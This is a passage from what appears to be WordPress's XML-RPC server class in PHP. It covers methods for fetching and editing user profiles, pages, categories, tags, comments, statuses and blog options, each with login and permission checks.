$this->_prepare_user( $user_data, $fields ); } } return $_users; } /** * Retrieve information about the requesting user. * * @uses get_userdata() * * @param array $args { * Method arguments. Note: arguments must be ordered as documented. * * @type int $blog_id (unused) * @type string $username * @type string $password * @type array $fields (optional) * } * @return array|IXR_Error (@see wp_getUser) */ public function wp_getProfile( $args ) { if ( ! $this->minimum_args( $args, 3 ) ) { return $this->error; } $this->escape( $args ); $username = $args[1]; $password = $args[2]; if ( isset( $args[3] ) ) { $fields = $args[3]; } else { /** This action is documented in wp-includes/class-wp-xmlrpc-server.php */ $fields = apply_filters( 'xmlrpc_default_user_fields', array( 'all' ), 'wp.getProfile' ); } $user = $this->login( $username, $password ); if ( ! $user ) { return $this->error; } /** This action is documented in wp-includes/class-wp-xmlrpc-server.php */ do_action( 'xmlrpc_call', 'wp.getProfile', $args, $this ); if ( ! current_user_can( 'edit_user', $user->ID ) ) { return new IXR_Error( 401, __( 'Sorry, you are not allowed to edit your profile.' ) ); } $user_data = get_userdata( $user->ID ); return $this->_prepare_user( $user_data, $fields ); } /** * Edit user's profile. * * @uses wp_update_user() * * @param array $args { * Method arguments. Note: arguments must be ordered as documented. * * @type int $blog_id (unused) * @type string $username * @type string $password * @type array $content_struct It can optionally contain: * - 'first_name' * - 'last_name' * - 'website' * - 'display_name' * - 'nickname' * - 'nicename' * - 'bio' * } * @return true|IXR_Error True, on success. */ public function wp_editProfile( $args ) { if ( ! $this->minimum_args( $args, 4 ) ) { return $this->error; } $this->escape( $args ); $username = $args[1]; $password = $args[2]; $content_struct = $args[3]; $user = $this->login( $username, $password ); if ( ! $user ) { return $this->error; } /** This action is documented in wp-includes/class-wp-xmlrpc-server.php */ do_action( 'xmlrpc_call', 'wp.editProfile', $args, $this ); if ( ! current_user_can( 'edit_user', $user->ID ) ) { return new IXR_Error( 401, __( 'Sorry, you are not allowed to edit your profile.' ) ); } // Holds data of the user. $user_data = array(); $user_data['ID'] = $user->ID; // Only set the user details if they were given. if ( isset( $content_struct['first_name'] ) ) { $user_data['first_name'] = $content_struct['first_name']; } if ( isset( $content_struct['last_name'] ) ) { $user_data['last_name'] = $content_struct['last_name']; } if ( isset( $content_struct['url'] ) ) { $user_data['user_url'] = $content_struct['url']; } if ( isset( $content_struct['display_name'] ) ) { $user_data['display_name'] = $content_struct['display_name']; } if ( isset( $content_struct['nickname'] ) ) { $user_data['nickname'] = $content_struct['nickname']; } if ( isset( $content_struct['nicename'] ) ) { $user_data['user_nicename'] = $content_struct['nicename']; } if ( isset( $content_struct['bio'] ) ) { $user_data['description'] = $content_struct['bio']; } $result = wp_update_user( $user_data ); if ( is_wp_error( $result ) ) { return new IXR_Error( 500, $result->get_error_message() ); } if ( ! $result ) { return new IXR_Error( 500, __( 'Sorry, the user could not be updated.' ) ); } return true; } /** * Retrieve page. * * @since 2.2.0 * * @param array $args { * Method arguments. Note: arguments must be ordered as documented. * * @type int $blog_id (unused) * @type int $page_id * @type string $username * @type string $password * } * @return array|IXR_Error */ public function wp_getPage( $args ) { $this->escape( $args ); $page_id = (int) $args[1]; $username = $args[2]; $password = $args[3]; $user = $this->login( $username, $password ); if ( ! $user ) { return $this->error; } $page = get_post( $page_id ); if ( ! $page ) { return new IXR_Error( 404, __( 'Invalid post ID.' ) ); } if ( ! current_user_can( 'edit_page', $page_id ) ) { return new IXR_Error( 401, __( 'Sorry, you are not allowed to edit this page.' ) ); } /** This action is documented in wp-includes/class-wp-xmlrpc-server.php */ do_action( 'xmlrpc_call', 'wp.getPage', $args, $this ); // If we found the page then format the data. if ( $page->ID && ( 'page' === $page->post_type ) ) { return $this->_prepare_page( $page ); } else { // If the page doesn't exist, indicate that. return new IXR_Error( 404, __( 'Sorry, no such page.' ) ); } } /** * Retrieve Pages. * * @since 2.2.0 * * @param array $args { * Method arguments. Note: arguments must be ordered as documented. * * @type int $blog_id (unused) * @type string $username * @type string $password * @type int $num_pages * } * @return array|IXR_Error */ public function wp_getPages( $args ) { $this->escape( $args ); $username = $args[1]; $password = $args[2]; $num_pages = isset( $args[3] ) ? (int) $args[3] : 10; $user = $this->login( $username, $password ); if ( ! $user ) { return $this->error; } if ( ! current_user_can( 'edit_pages' ) ) { return new IXR_Error( 401, __( 'Sorry, you are not allowed to edit pages.' ) ); } /** This action is documented in wp-includes/class-wp-xmlrpc-server.php */ do_action( 'xmlrpc_call', 'wp.getPages', $args, $this ); $pages = get_posts( array( 'post_type' => 'page', 'post_status' => 'any', 'numberposts' => $num_pages, ) ); $num_pages = count( $pages ); // If we have pages, put together their info. if ( $num_pages >= 1 ) { $pages_struct = array(); foreach ( $pages as $page ) { if ( current_user_can( 'edit_page', $page->ID ) ) { $pages_struct[] = $this->_prepare_page( $page ); } } return $pages_struct; } return array(); } /** * Create new page. * * @since 2.2.0 * * @see wp_xmlrpc_server::mw_newPost() * * @param array $args { * Method arguments. Note: arguments must be ordered as documented. * * @type int $blog_id (unused) * @type string $username * @type string $password * @type array $content_struct * } * @return int|IXR_Error */ public function wp_newPage( $args ) { // Items not escaped here will be escaped in wp_newPost(). $username = $this->escape( $args[1] ); $password = $this->escape( $args[2] ); $user = $this->login( $username, $password ); if ( ! $user ) { return $this->error; } /** This action is documented in wp-includes/class-wp-xmlrpc-server.php */ do_action( 'xmlrpc_call', 'wp.newPage', $args, $this ); // Mark this as content for a page. $args[3]['post_type'] = 'page'; // Let mw_newPost() do all of the heavy lifting. return $this->mw_newPost( $args ); } /** * Delete page. * * @since 2.2.0 * * @param array $args { * Method arguments. Note: arguments must be ordered as documented. * * @type int $blog_id (unused) * @type string $username * @type string $password * @type int $page_id * } * @return true|IXR_Error True, if success. */ public function wp_deletePage( $args ) { $this->escape( $args ); $username = $args[1]; $password = $args[2]; $page_id = (int) $args[3]; $user = $this->login( $username, $password ); if ( ! $user ) { return $this->error; } /** This action is documented in wp-includes/class-wp-xmlrpc-server.php */ do_action( 'xmlrpc_call', 'wp.deletePage', $args, $this ); // Get the current page based on the 'page_id' and // make sure it is a page and not a post. $actual_page = get_post( $page_id, ARRAY_A ); if ( ! $actual_page || ( 'page' !== $actual_page['post_type'] ) ) { return new IXR_Error( 404, __( 'Sorry, no such page.' ) ); } // Make sure the user can delete pages. if ( ! current_user_can( 'delete_page', $page_id ) ) { return new IXR_Error( 401, __( 'Sorry, you are not allowed to delete this page.' ) ); } // Attempt to delete the page. $result = wp_delete_post( $page_id ); if ( ! $result ) { return new IXR_Error( 500, __( 'Failed to delete the page.' ) ); } /** * Fires after a page has been successfully deleted via XML-RPC. * * @since 3.4.0 * * @param int $page_id ID of the deleted page. * @param array $args An array of arguments to delete the page. */ do_action( 'xmlrpc_call_success_wp_deletePage', $page_id, $args ); // phpcs:ignore WordPress.NamingConventions.ValidHookName.NotLowercase return true; } /** * Edit page. * * @since 2.2.0 * * @param array $args { * Method arguments. Note: arguments must be ordered as documented. * * @type int $blog_id (unused) * @type int $page_id * @type string $username * @type string $password * @type string $content * @type string $publish * } * @return array|IXR_Error */ public function wp_editPage( $args ) { // Items will be escaped in mw_editPost(). $page_id = (int) $args[1]; $username = $args[2]; $password = $args[3]; $content = $args[4]; $publish = $args[5]; $escaped_username = $this->escape( $username ); $escaped_password = $this->escape( $password ); $user = $this->login( $escaped_username, $escaped_password ); if ( ! $user ) { return $this->error; } /** This action is documented in wp-includes/class-wp-xmlrpc-server.php */ do_action( 'xmlrpc_call', 'wp.editPage', $args, $this ); // Get the page data and make sure it is a page. $actual_page = get_post( $page_id, ARRAY_A ); if ( ! $actual_page || ( 'page' !== $actual_page['post_type'] ) ) { return new IXR_Error( 404, __( 'Sorry, no such page.' ) ); } // Make sure the user is allowed to edit pages. if ( ! current_user_can( 'edit_page', $page_id ) ) { return new IXR_Error( 401, __( 'Sorry, you are not allowed to edit this page.' ) ); } // Mark this as content for a page. $content['post_type'] = 'page'; // Arrange args in the way mw_editPost() understands. $args = array( $page_id, $username, $password, $content, $publish, ); // Let mw_editPost() do all of the heavy lifting. return $this->mw_editPost( $args ); } /** * Retrieve page list. * * @since 2.2.0 * * @global wpdb $wpdb WordPress database abstraction object. * * @param array $args { * Method arguments. Note: arguments must be ordered as documented. * * @type int $blog_id (unused) * @type string $username * @type string $password * } * @return array|IXR_Error */ public function wp_getPageList( $args ) { global $wpdb; $this->escape( $args ); $username = $args[1]; $password = $args[2]; $user = $this->login( $username, $password ); if ( ! $user ) { return $this->error; } if ( ! current_user_can( 'edit_pages' ) ) { return new IXR_Error( 401, __( 'Sorry, you are not allowed to edit pages.' ) ); } /** This action is documented in wp-includes/class-wp-xmlrpc-server.php */ do_action( 'xmlrpc_call', 'wp.getPageList', $args, $this ); // Get list of page IDs and titles. $page_list = $wpdb->get_results( " SELECT ID page_id, post_title page_title, post_parent page_parent_id, post_date_gmt, post_date, post_status FROM {$wpdb->posts} WHERE post_type = 'page' ORDER BY ID " ); // The date needs to be formatted properly. $num_pages = count( $page_list ); for ( $i = 0; $i < $num_pages; $i++ ) { $page_list[ $i ]->dateCreated = $this->_convert_date( $page_list[ $i ]->post_date ); $page_list[ $i ]->date_created_gmt = $this->_convert_date_gmt( $page_list[ $i ]->post_date_gmt, $page_list[ $i ]->post_date ); unset( $page_list[ $i ]->post_date_gmt ); unset( $page_list[ $i ]->post_date ); unset( $page_list[ $i ]->post_status ); } return $page_list; } /** * Retrieve authors list. * * @since 2.2.0 * * @param array $args { * Method arguments. Note: arguments must be ordered as documented. * * @type int $blog_id (unused) * @type string $username * @type string $password * } * @return array|IXR_Error */ public function wp_getAuthors( $args ) { $this->escape( $args ); $username = $args[1]; $password = $args[2]; $user = $this->login( $username, $password ); if ( ! $user ) { return $this->error; } if ( ! current_user_can( 'edit_posts' ) ) { return new IXR_Error( 401, __( 'Sorry, you are not allowed to edit posts.' ) ); } /** This action is documented in wp-includes/class-wp-xmlrpc-server.php */ do_action( 'xmlrpc_call', 'wp.getAuthors', $args, $this ); $authors = array(); foreach ( get_users( array( 'fields' => array( 'ID', 'user_login', 'display_name' ) ) ) as $user ) { $authors[] = array( 'user_id' => $user->ID, 'user_login' => $user->user_login, 'display_name' => $user->display_name, ); } return $authors; } /** * Get list of all tags * * @since 2.7.0 * * @param array $args { * Method arguments. Note: arguments must be ordered as documented. * * @type int $blog_id (unused) * @type string $username * @type string $password * } * @return array|IXR_Error */ public function wp_getTags( $args ) { $this->escape( $args ); $username = $args[1]; $password = $args[2]; $user = $this->login( $username, $password ); if ( ! $user ) { return $this->error; } if ( ! current_user_can( 'edit_posts' ) ) { return new IXR_Error( 401, __( 'Sorry, you must be able to edit posts on this site in order to view tags.' ) ); } /** This action is documented in wp-includes/class-wp-xmlrpc-server.php */ do_action( 'xmlrpc_call', 'wp.getKeywords', $args, $this ); $tags = array(); $all_tags = get_tags(); if ( $all_tags ) { foreach ( (array) $all_tags as $tag ) { $struct = array(); $struct['tag_id'] = $tag->term_id; $struct['name'] = $tag->name; $struct['count'] = $tag->count; $struct['slug'] = $tag->slug; $struct['html_url'] = esc_html( get_tag_link( $tag->term_id ) ); $struct['rss_url'] = esc_html( get_tag_feed_link( $tag->term_id ) ); $tags[] = $struct; } } return $tags; } /** * Create new category. * * @since 2.2.0 * * @param array $args { * Method arguments. Note: arguments must be ordered as documented. * * @type int $blog_id (unused) * @type string $username * @type string $password * @type array $category * } * @return int|IXR_Error Category ID. */ public function wp_newCategory( $args ) { $this->escape( $args ); $username = $args[1]; $password = $args[2]; $category = $args[3]; $user = $this->login( $username, $password ); if ( ! $user ) { return $this->error; } /** This action is documented in wp-includes/class-wp-xmlrpc-server.php */ do_action( 'xmlrpc_call', 'wp.newCategory', $args, $this ); // Make sure the user is allowed to add a category. if ( ! current_user_can( 'manage_categories' ) ) { return new IXR_Error( 401, __( 'Sorry, you are not allowed to add a category.' ) ); } // If no slug was provided, make it empty // so that WordPress will generate one. if ( empty( $category['slug'] ) ) { $category['slug'] = ''; } // If no parent_id was provided, make it empty // so that it will be a top-level page (no parent). if ( ! isset( $category['parent_id'] ) ) { $category['parent_id'] = ''; } // If no description was provided, make it empty. if ( empty( $category['description'] ) ) { $category['description'] = ''; } $new_category = array( 'cat_name' => $category['name'], 'category_nicename' => $category['slug'], 'category_parent' => $category['parent_id'], 'category_description' => $category['description'], ); $cat_id = wp_insert_category( $new_category, true ); if ( is_wp_error( $cat_id ) ) { if ( 'term_exists' === $cat_id->get_error_code() ) { return (int) $cat_id->get_error_data(); } else { return new IXR_Error( 500, __( 'Sorry, the category could not be created.' ) ); } } elseif ( ! $cat_id ) { return new IXR_Error( 500, __( 'Sorry, the category could not be created.' ) ); } /** * Fires after a new category has been successfully created via XML-RPC. * * @since 3.4.0 * * @param int $cat_id ID of the new category. * @param array $args An array of new category arguments. */ do_action( 'xmlrpc_call_success_wp_newCategory', $cat_id, $args ); // phpcs:ignore WordPress.NamingConventions.ValidHookName.NotLowercase return $cat_id; } /** * Remove category. * * @since 2.5.0 * * @param array $args { * Method arguments. Note: arguments must be ordered as documented. * * @type int $blog_id (unused) * @type string $username * @type string $password * @type int $category_id * } * @return bool|IXR_Error See wp_delete_term() for return info. */ public function wp_deleteCategory( $args ) { $this->escape( $args ); $username = $args[1]; $password = $args[2]; $category_id = (int) $args[3]; $user = $this->login( $username, $password ); if ( ! $user ) { return $this->error; } /** This action is documented in wp-includes/class-wp-xmlrpc-server.php */ do_action( 'xmlrpc_call', 'wp.deleteCategory', $args, $this ); if ( ! current_user_can( 'delete_term', $category_id ) ) { return new IXR_Error( 401, __( 'Sorry, you are not allowed to delete this category.' ) ); } $status = wp_delete_term( $category_id, 'category' ); if ( true == $status ) { /** * Fires after a category has been successfully deleted via XML-RPC. * * @since 3.4.0 * * @param int $category_id ID of the deleted category. * @param array $args An array of arguments to delete the category. */ do_action( 'xmlrpc_call_success_wp_deleteCategory', $category_id, $args ); // phpcs:ignore WordPress.NamingConventions.ValidHookName.NotLowercase } return $status; } /** * Retrieve category list. * * @since 2.2.0 * * @param array $args { * Method arguments. Note: arguments must be ordered as documented. * * @type int $blog_id (unused) * @type string $username * @type string $password * @type array $category * @type int $max_results * } * @return array|IXR_Error */ public function wp_suggestCategories( $args ) { $this->escape( $args ); $username = $args[1]; $password = $args[2]; $category = $args[3]; $max_results = (int) $args[4]; $user = $this->login( $username, $password ); if ( ! $user ) { return $this->error; } if ( ! current_user_can( 'edit_posts' ) ) { return new IXR_Error( 401, __( 'Sorry, you must be able to edit posts on this site in order to view categories.' ) ); } /** This action is documented in wp-includes/class-wp-xmlrpc-server.php */ do_action( 'xmlrpc_call', 'wp.suggestCategories', $args, $this ); $category_suggestions = array(); $args = array( 'get' => 'all', 'number' => $max_results, 'name__like' => $category, ); foreach ( (array) get_categories( $args ) as $cat ) { $category_suggestions[] = array( 'category_id' => $cat->term_id, 'category_name' => $cat->name, ); } return $category_suggestions; } /** * Retrieve comment. * * @since 2.7.0 * * @param array $args { * Method arguments. Note: arguments must be ordered as documented. * * @type int $blog_id (unused) * @type string $username * @type string $password * @type int $comment_id * } * @return array|IXR_Error */ public function wp_getComment( $args ) { $this->escape( $args ); $username = $args[1]; $password = $args[2]; $comment_id = (int) $args[3]; $user = $this->login( $username, $password ); if ( ! $user ) { return $this->error; } /** This action is documented in wp-includes/class-wp-xmlrpc-server.php */ do_action( 'xmlrpc_call', 'wp.getComment', $args, $this ); $comment = get_comment( $comment_id ); if ( ! $comment ) { return new IXR_Error( 404, __( 'Invalid comment ID.' ) ); } if ( ! current_user_can( 'edit_comment', $comment_id ) ) { return new IXR_Error( 403, __( 'Sorry, you are not allowed to moderate or edit this comment.' ) ); } return $this->_prepare_comment( $comment ); } /** * Retrieve comments. * * Besides the common blog_id (unused), username, and password arguments, it takes a filter * array as last argument. * * Accepted 'filter' keys are 'status', 'post_id', 'offset', and 'number'. * * The defaults are as follows: * - 'status' - Default is ''. Filter by status (e.g., 'approve', 'hold') * - 'post_id' - Default is ''. The post where the comment is posted. Empty string shows all comments. * - 'number' - Default is 10. Total number of media items to retrieve. * - 'offset' - Default is 0. See WP_Query::query() for more. * * @since 2.7.0 * * @param array $args { * Method arguments. Note: arguments must be ordered as documented. * * @type int $blog_id (unused) * @type string $username * @type string $password * @type array $struct * } * @return array|IXR_Error Contains a collection of comments. See wp_xmlrpc_server::wp_getComment() for a description of each item contents */ public function wp_getComments( $args ) { $this->escape( $args ); $username = $args[1]; $password = $args[2]; $struct = isset( $args[3] ) ? $args[3] : array(); $user = $this->login( $username, $password ); if ( ! $user ) { return $this->error; } /** This action is documented in wp-includes/class-wp-xmlrpc-server.php */ do_action( 'xmlrpc_call', 'wp.getComments', $args, $this ); if ( isset( $struct['status'] ) ) { $status = $struct['status']; } else { $status = ''; } if ( ! current_user_can( 'moderate_comments' ) && 'approve' !== $status ) { return new IXR_Error( 401, __( 'Invalid comment status.' ) ); } $post_id = ''; if ( isset( $struct['post_id'] ) ) { $post_id = absint( $struct['post_id'] ); } $post_type = ''; if ( isset( $struct['post_type'] ) ) { $post_type_object = get_post_type_object( $struct['post_type'] ); if ( ! $post_type_object || ! post_type_supports( $post_type_object->name, 'comments' ) ) { return new IXR_Error( 404, __( 'Invalid post type.' ) ); } $post_type = $struct['post_type']; } $offset = 0; if ( isset( $struct['offset'] ) ) { $offset = absint( $struct['offset'] ); } $number = 10; if ( isset( $struct['number'] ) ) { $number = absint( $struct['number'] ); } $comments = get_comments( array( 'status' => $status, 'post_id' => $post_id, 'offset' => $offset, 'number' => $number, 'post_type' => $post_type, ) ); $comments_struct = array(); if ( is_array( $comments ) ) { foreach ( $comments as $comment ) { $comments_struct[] = $this->_prepare_comment( $comment ); } } return $comments_struct; } /** * Delete a comment. * * By default, the comment will be moved to the Trash instead of deleted. * See wp_delete_comment() for more information on this behavior. * * @since 2.7.0 * * @param array $args { * Method arguments. Note: arguments must be ordered as documented. * * @type int $blog_id (unused) * @type string $username * @type string $password * @type int $comment_ID * } * @return bool|IXR_Error See wp_delete_comment(). */ public function wp_deleteComment( $args ) { $this->escape( $args ); $username = $args[1]; $password = $args[2]; $comment_ID = (int) $args[3]; $user = $this->login( $username, $password ); if ( ! $user ) { return $this->error; } if ( ! get_comment( $comment_ID ) ) { return new IXR_Error( 404, __( 'Invalid comment ID.' ) ); } if ( ! current_user_can( 'edit_comment', $comment_ID ) ) { return new IXR_Error( 403, __( 'Sorry, you are not allowed to delete this comment.' ) ); } /** This action is documented in wp-includes/class-wp-xmlrpc-server.php */ do_action( 'xmlrpc_call', 'wp.deleteComment', $args, $this ); $status = wp_delete_comment( $comment_ID ); if ( $status ) { /** * Fires after a comment has been successfully deleted via XML-RPC. * * @since 3.4.0 * * @param int $comment_ID ID of the deleted comment. * @param array $args An array of arguments to delete the comment. */ do_action( 'xmlrpc_call_success_wp_deleteComment', $comment_ID, $args ); // phpcs:ignore WordPress.NamingConventions.ValidHookName.NotLowercase } return $status; } /** * Edit comment. * * Besides the common blog_id (unused), username, and password arguments, it takes a * comment_id integer and a content_struct array as last argument. * * The allowed keys in the content_struct array are: * - 'author' * - 'author_url' * - 'author_email' * - 'content' * - 'date_created_gmt' * - 'status'. Common statuses are 'approve', 'hold', 'spam'. See get_comment_statuses() for more details * * @since 2.7.0 * * @param array $args { * Method arguments. Note: arguments must be ordered as documented. * * @type int $blog_id (unused) * @type string $username * @type string $password * @type int $comment_ID * @type array $content_struct * } * @return true|IXR_Error True, on success. */ public function wp_editComment( $args ) { $this->escape( $args ); $username = $args[1]; $password = $args[2]; $comment_ID = (int) $args[3]; $content_struct = $args[4]; $user = $this->login( $username, $password ); if ( ! $user ) { return $this->error; } if ( ! get_comment( $comment_ID ) ) { return new IXR_Error( 404, __( 'Invalid comment ID.' ) ); } if ( ! current_user_can( 'edit_comment', $comment_ID ) ) { return new IXR_Error( 403, __( 'Sorry, you are not allowed to moderate or edit this comment.' ) ); } /** This action is documented in wp-includes/class-wp-xmlrpc-server.php */ do_action( 'xmlrpc_call', 'wp.editComment', $args, $this ); $comment = array( 'comment_ID' => $comment_ID, ); if ( isset( $content_struct['status'] ) ) { $statuses = get_comment_statuses(); $statuses = array_keys( $statuses ); if ( ! in_array( $content_struct['status'], $statuses, true ) ) { return new IXR_Error( 401, __( 'Invalid comment status.' ) ); } $comment['comment_approved'] = $content_struct['status']; } // Do some timestamp voodoo. if ( ! empty( $content_struct['date_created_gmt'] ) ) { // We know this is supposed to be GMT, so we're going to slap that Z on there by force. $dateCreated = rtrim( $content_struct['date_created_gmt']->getIso(), 'Z' ) . 'Z'; $comment['comment_date'] = get_date_from_gmt( $dateCreated ); $comment['comment_date_gmt'] = iso8601_to_datetime( $dateCreated, 'gmt' ); } if ( isset( $content_struct['content'] ) ) { $comment['comment_content'] = $content_struct['content']; } if ( isset( $content_struct['author'] ) ) { $comment['comment_author'] = $content_struct['author']; } if ( isset( $content_struct['author_url'] ) ) { $comment['comment_author_url'] = $content_struct['author_url']; } if ( isset( $content_struct['author_email'] ) ) { $comment['comment_author_email'] = $content_struct['author_email']; } $result = wp_update_comment( $comment, true ); if ( is_wp_error( $result ) ) { return new IXR_Error( 500, $result->get_error_message() ); } if ( ! $result ) { return new IXR_Error( 500, __( 'Sorry, the comment could not be updated.' ) ); } /** * Fires after a comment has been successfully updated via XML-RPC. * * @since 3.4.0 * * @param int $comment_ID ID of the updated comment. * @param array $args An array of arguments to update the comment. */ do_action( 'xmlrpc_call_success_wp_editComment', $comment_ID, $args ); // phpcs:ignore WordPress.NamingConventions.ValidHookName.NotLowercase return true; } /** * Create new comment. * * @since 2.7.0 * * @param array $args { * Method arguments. Note: arguments must be ordered as documented. * * @type int $blog_id (unused) * @type string $username * @type string $password * @type string|int $post * @type array $content_struct * } * @return int|IXR_Error See wp_new_comment(). */ public function wp_newComment( $args ) { $this->escape( $args ); $username = $args[1]; $password = $args[2]; $post = $args[3]; $content_struct = $args[4]; /** * Filters whether to allow anonymous comments over XML-RPC. * * @since 2.7.0 * * @param bool $allow Whether to allow anonymous commenting via XML-RPC. * Default false. */ $allow_anon = apply_filters( 'xmlrpc_allow_anonymous_comments', false ); $user = $this->login( $username, $password ); if ( ! $user ) { $logged_in = false; if ( $allow_anon && get_option( 'comment_registration' ) ) { return new IXR_Error( 403, __( 'Sorry, you must be logged in to comment.' ) ); } elseif ( ! $allow_anon ) { return $this->error; } } else { $logged_in = true; } if ( is_numeric( $post ) ) { $post_id = absint( $post ); } else { $post_id = url_to_postid( $post ); } if ( ! $post_id ) { return new IXR_Error( 404, __( 'Invalid post ID.' ) ); } if ( ! get_post( $post_id ) ) { return new IXR_Error( 404, __( 'Invalid post ID.' ) ); } if ( ! comments_open( $post_id ) ) { return new IXR_Error( 403, __( 'Sorry, comments are closed for this item.' ) ); } if ( 'publish' === get_post_status( $post_id ) && ! current_user_can( 'edit_post', $post_id ) && post_password_required( $post_id ) ) { return new IXR_Error( 403, __( 'Sorry, you are not allowed to comment on this post.' ) ); } if ( 'private' === get_post_status( $post_id ) && ! current_user_can( 'read_post', $post_id ) ) { return new IXR_Error( 403, __( 'Sorry, you are not allowed to comment on this post.' ) ); } $comment = array( 'comment_post_ID' => $post_id, 'comment_content' => trim( $content_struct['content'] ), ); if ( $logged_in ) { $display_name = $user->display_name; $user_email = $user->user_email; $user_url = $user->user_url; $comment['comment_author'] = $this->escape( $display_name ); $comment['comment_author_email'] = $this->escape( $user_email ); $comment['comment_author_url'] = $this->escape( $user_url ); $comment['user_ID'] = $user->ID; } else { $comment['comment_author'] = ''; if ( isset( $content_struct['author'] ) ) { $comment['comment_author'] = $content_struct['author']; } $comment['comment_author_email'] = ''; if ( isset( $content_struct['author_email'] ) ) { $comment['comment_author_email'] = $content_struct['author_email']; } $comment['comment_author_url'] = ''; if ( isset( $content_struct['author_url'] ) ) { $comment['comment_author_url'] = $content_struct['author_url']; } $comment['user_ID'] = 0; if ( get_option( 'require_name_email' ) ) { if ( strlen( $comment['comment_author_email'] ) < 6 || '' === $comment['comment_author'] ) { return new IXR_Error( 403, __( 'Comment author name and email are required.' ) ); } elseif ( ! is_email( $comment['comment_author_email'] ) ) { return new IXR_Error( 403, __( 'A valid email address is required.' ) ); } } } $comment['comment_parent'] = isset( $content_struct['comment_parent'] ) ? absint( $content_struct['comment_parent'] ) : 0; /** This filter is documented in wp-includes/comment.php */ $allow_empty = apply_filters( 'allow_empty_comment', false, $comment ); if ( ! $allow_empty && '' === $comment['comment_content'] ) { return new IXR_Error( 403, __( 'Comment is required.' ) ); } /** This action is documented in wp-includes/class-wp-xmlrpc-server.php */ do_action( 'xmlrpc_call', 'wp.newComment', $args, $this ); $comment_ID = wp_new_comment( $comment, true ); if ( is_wp_error( $comment_ID ) ) { return new IXR_Error( 403, $comment_ID->get_error_message() ); } if ( ! $comment_ID ) { return new IXR_Error( 403, __( 'Something went wrong.' ) ); } /** * Fires after a new comment has been successfully created via XML-RPC. * * @since 3.4.0 * * @param int $comment_ID ID of the new comment. * @param array $args An array of new comment arguments. */ do_action( 'xmlrpc_call_success_wp_newComment', $comment_ID, $args ); // phpcs:ignore WordPress.NamingConventions.ValidHookName.NotLowercase return $comment_ID; } /** * Retrieve all of the comment status. * * @since 2.7.0 * * @param array $args { * Method arguments. Note: arguments must be ordered as documented. * * @type int $blog_id (unused) * @type string $username * @type string $password * } * @return array|IXR_Error */ public function wp_getCommentStatusList( $args ) { $this->escape( $args ); $username = $args[1]; $password = $args[2]; $user = $this->login( $username, $password ); if ( ! $user ) { return $this->error; } if ( ! current_user_can( 'publish_posts' ) ) { return new IXR_Error( 403, __( 'Sorry, you are not allowed to access details about this site.' ) ); } /** This action is documented in wp-includes/class-wp-xmlrpc-server.php */ do_action( 'xmlrpc_call', 'wp.getCommentStatusList', $args, $this ); return get_comment_statuses(); } /** * Retrieve comment count. * * @since 2.5.0 * * @param array $args { * Method arguments. Note: arguments must be ordered as documented. * * @type int $blog_id (unused) * @type string $username * @type string $password * @type int $post_id * } * @return array|IXR_Error */ public function wp_getCommentCount( $args ) { $this->escape( $args ); $username = $args[1]; $password = $args[2]; $post_id = (int) $args[3]; $user = $this->login( $username, $password ); if ( ! $user ) { return $this->error; } $post = get_post( $post_id, ARRAY_A ); if ( empty( $post['ID'] ) ) { return new IXR_Error( 404, __( 'Invalid post ID.' ) ); } if ( ! current_user_can( 'edit_post', $post_id ) ) { return new IXR_Error( 403, __( 'Sorry, you are not allowed to access details of this post.' ) ); } /** This action is documented in wp-includes/class-wp-xmlrpc-server.php */ do_action( 'xmlrpc_call', 'wp.getCommentCount', $args, $this ); $count = wp_count_comments( $post_id ); return array( 'approved' => $count->approved, 'awaiting_moderation' => $count->moderated, 'spam' => $count->spam, 'total_comments' => $count->total_comments, ); } /** * Retrieve post statuses. * * @since 2.5.0 * * @param array $args { * Method arguments. Note: arguments must be ordered as documented. * * @type int $blog_id (unused) * @type string $username * @type string $password * } * @return array|IXR_Error */ public function wp_getPostStatusList( $args ) { $this->escape( $args ); $username = $args[1]; $password = $args[2]; $user = $this->login( $username, $password ); if ( ! $user ) { return $this->error; } if ( ! current_user_can( 'edit_posts' ) ) { return new IXR_Error( 403, __( 'Sorry, you are not allowed to access details about this site.' ) ); } /** This action is documented in wp-includes/class-wp-xmlrpc-server.php */ do_action( 'xmlrpc_call', 'wp.getPostStatusList', $args, $this ); return get_post_statuses(); } /** * Retrieve page statuses. * * @since 2.5.0 * * @param array $args { * Method arguments. Note: arguments must be ordered as documented. * * @type int $blog_id (unused) * @type string $username * @type string $password * } * @return array|IXR_Error */ public function wp_getPageStatusList( $args ) { $this->escape( $args ); $username = $args[1]; $password = $args[2]; $user = $this->login( $username, $password ); if ( ! $user ) { return $this->error; } if ( ! current_user_can( 'edit_pages' ) ) { return new IXR_Error( 403, __( 'Sorry, you are not allowed to access details about this site.' ) ); } /** This action is documented in wp-includes/class-wp-xmlrpc-server.php */ do_action( 'xmlrpc_call', 'wp.getPageStatusList', $args, $this ); return get_page_statuses(); } /** * Retrieve page templates. * * @since 2.6.0 * * @param array $args { * Method arguments. Note: arguments must be ordered as documented. * * @type int $blog_id (unused) * @type string $username * @type string $password * } * @return array|IXR_Error */ public function wp_getPageTemplates( $args ) { $this->escape( $args ); $username = $args[1]; $password = $args[2]; $user = $this->login( $username, $password ); if ( ! $user ) { return $this->error; } if ( ! current_user_can( 'edit_pages' ) ) { return new IXR_Error( 403, __( 'Sorry, you are not allowed to access details about this site.' ) ); } $templates = get_page_templates(); $templates['Default'] = 'default'; return $templates; } /** * Retrieve blog options. * * @since 2.6.0 * * @param array $args { * Method arguments. Note: arguments must be ordered as documented. * * @type int $blog_id (unused) * @type string $username * @type string $password * @type array $options * } * @return array|IXR_Error */ public function wp_getOptions( $args ) { $this->escape( $args ); $username = $args[1]; $password = $args[2]; $options = isset( $args[3] ) ? (array) $args[3] : array(); $user = $this->login( $username, $password ); if ( ! $user ) { return $this->error; } // If no specific options where asked for, return all of them. if ( count( $options ) == 0 ) { $options = array_keys( $this->blog_options ); } return $this->_getOptions( $options ); } /** * Retrieve blog options value from list. * * @since 2.6.0 * * @param array $options Options to retrieve. * @return array */ public function _getOptions( $options ) { $data = array(); $can_manage = current_user_can( 'manage_options' ); foreach ( $options as $option ) { if ( array_key_exists( $option, $this->blog_options ) ) { $data[ $option ] = $this->blog_options[ $option ]; // Is the value static or dynamic? if ( isset( $data[ $option ]['option'] ) ) { $data[ $option ]['value'] = get_option( $data[ $option ]['option'] ); unset( $data[ $option ]['option'] ); } if ( ! $can_manage ) { $data[ $option ]['readonly'] = true; } } } return $data; } /** * Update blog options. * * @since 2.6.0 * * @param array $args { * Method arguments. Note: arguments must be ordered as documented. * * @type int $blog_id (unused) * @type string $username * @type string $password * @type array $options * } * @return array|IXR_Error */ public function wp_setOptions( $args ) { 